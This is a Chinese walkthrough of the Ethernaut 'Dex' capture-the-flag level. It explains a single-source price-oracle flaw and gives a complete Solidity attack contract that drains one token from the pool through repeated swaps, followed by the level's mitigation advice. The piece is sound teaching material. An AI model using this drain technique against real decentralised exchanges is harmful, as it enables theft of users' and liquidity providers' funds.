DEX-wp

这是一个拥有两个 ERC20 Token 的交易池,开始时,我们的账户中会拥有两种代币各10个。需要我们达到的目的是:将这个交易池中的代币至少一个清空,而这道题实际上就是一个典型的价格预言机操控攻击

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

分析

首先,在这个合约中可以看到,它的价格计算方式为:getSwapPrice函数:

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

它的价格计算很简单,是一个单一的价格源,很容易被操控。

我们可以通过:token1 兑换 token2,然后再次使用 token2 兑换 token1 这样的方式慢慢将这个池子中所有的 token1 清空:

   token  1  |  token  2
10 in  | 100 | 100 | 10 out
24 out | 110 | 90  | 10 in
24  in |  86 | 110 | 30 out
41 out | 110 | 80  | 30 in
41 in  | 69  | 110 | 65 out
       | 110 | 45  |

第一次投入 10 个 token1:

(amount * IERC20(to).balanceOf(address(this)))/ IERC20(from).balanceOf(address(this))
(amount: 10) * (to: 100) / (from: 100) = 10

换出 10 个 token2,然后再用 10个 token2 去换 token1:

(amount: 10) * (to: 110) / (from: 90) = 24

换出 24 个 token1,然后再用这 24 个 token2 去换 token2:

(amount: 24) * (to: 110) / (from: 86) = 41

……

这样五次后,得到了 65 个 token2,然后进行最后一次兑换几个掏空 token1,计算方法:

110 = token2 amount in * balance of token1 / balance of token2
110 = token2 amount in * 110 / 45
110 / 110 * 45 = token2 amount in
45 = token2 amount in

最终计算出:最后一次,使用 45 个 token2 即可换出全部 110 个 token1。

接下来展开攻击:

攻击合约

首先,涉及到 ERC20 Token 的 swap,那就必须涉及到授权交易所来转移我们的 Token,那么就必须用到approve()函数。所以,在我们的攻击合约中要存在 ERC20 合约的接口:

interface IERC20 {
	function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

当然还有必不可少的 Dex 合约,但是由于我们没有 Dex 合约 import 来的源文件,所以我们需要自己定义一个 Dex 合约的接口

interface IDex {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function getSwapPrice(address from, address to, uint256 amount) external view returns (uint256);
    function swap(address from, address to, uint256 amount) external;
}

接下来就是我们的攻击合约,首先是我们的构造函数以及状态变量:

IDex private immutable dex;
   IERC20 private immutable token1;
   IERC20 private immutable token2;

   constructor(address _Dex) {
       dex = IDex(_Dex);
       token1 = IERC20(dex.token1());
       token2 = IERC20(dex.token2());
   }

在攻击合约中,我们可以写一个内置函数_swap()来直接实现前五次的 token 兑换:

function _swap(IERC20 tokenIn, IERC20 tokenOut) private {
    dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
}

在我们的攻击函数pwn()中,首先我们需要将我们账户中(msg.sender)的 Token 转移到我们的攻击合约:

token1.transferFrom(msg.sender, address(this), 10);
token2.transferFrom(msg.sender, address(this), 10);

因为后续还需要在 Dex 中交换,所以我们需要授权 Dex 来转移我们的代币,因为后续会 swap 很多次,所以直接授权最大值:

token1.approve(address(dex), type(uint256).max);
token2.approve(address(dex), type(uint256).max);

然后就是调用我们的内部函数_swap()以及最后一次交换,最后加上一个检查,看我们的攻击是否成功:

_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);

dex.swap(address(token2), address(token1), 45);
require(token1.balanceOf(address(dex)) == 0, "dex balance != 0");

完整的攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDex {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function getSwapPrice(address from, address to, uint256 amount) external view returns (uint256);
    function swap(address from, address to, uint256 amount) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract Hack {
    IDex private immutable dex;
    IERC20 private immutable token1;
    IERC20 private immutable token2;

    constructor(address _Dex) {
        dex = IDex(_Dex);
        token1 = IERC20(dex.token1());
        token2 = IERC20(dex.token2());
    }
    function pwn() external {
        token1.transferFrom(msg.sender, address(this), 10);
        token2.transferFrom(msg.sender, address(this), 10);

        token1.approve(address(dex), type(uint256).max);
        token2.approve(address(dex), type(uint256).max);

        _swap(token1, token2);
        _swap(token2, token1);
        _swap(token1, token2);
        _swap(token2, token1);
        _swap(token1, token2);

        dex.swap(address(token2), address(token1), 45);
        require(token1.balanceOf(address(dex)) == 0, "dex balance != 0");
    }

    function _swap(IERC20 tokenIn, IERC20 tokenOut) private {
        dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
    }
}

之后将完整的攻击合约复制到 Remix 获取 Ethernaut 关卡的示例地址。在部署攻击合约之前,需要注意我们将我们账户中(msg.sender)的 Token 转移到攻击合约中,实际上是由攻击合约完成的,也就是说我们需要在开始攻击之前,授权攻击合约转移我们代币的权限。可以直接通过 IDexIERC20 两个接口完成该过程:

  • 通过 Remix 在关卡示例地址打开 IDex,查看 Token1 和 Token2 对应的实际地址
  • 分别用 Token1 和 Token2 的地址打开IERC20,调用approve授权攻击合约

之后直接部署合约,调用pwn函数即可。

避免方法

在 Ethernaut 通关后,对于这个关卡有这样的描述:

除了整数数学部分,从任何单一来源获取价格或任何类型的数据是智能合约中的一个大规模攻击向量。

从这个例子中你可以清楚地看到,拥有大量资金的人可以一举操纵价格,导致任何依赖它的应用程序使用错误的价格。

交易所本身是去中心化的,但资产的价格是中心化的,因为它来自 1 dex。这就是我们需要预言机的原因。预言机是将数据输入和输出智能合约的方法。我们应该从多个独立的去中心化来源获取数据,否则我们可能会冒这个风险。

所以,我们可以使用一些链下数据作为我们的价格源,可以使用一些区块链中间件,比如 Chainlink 预言机等。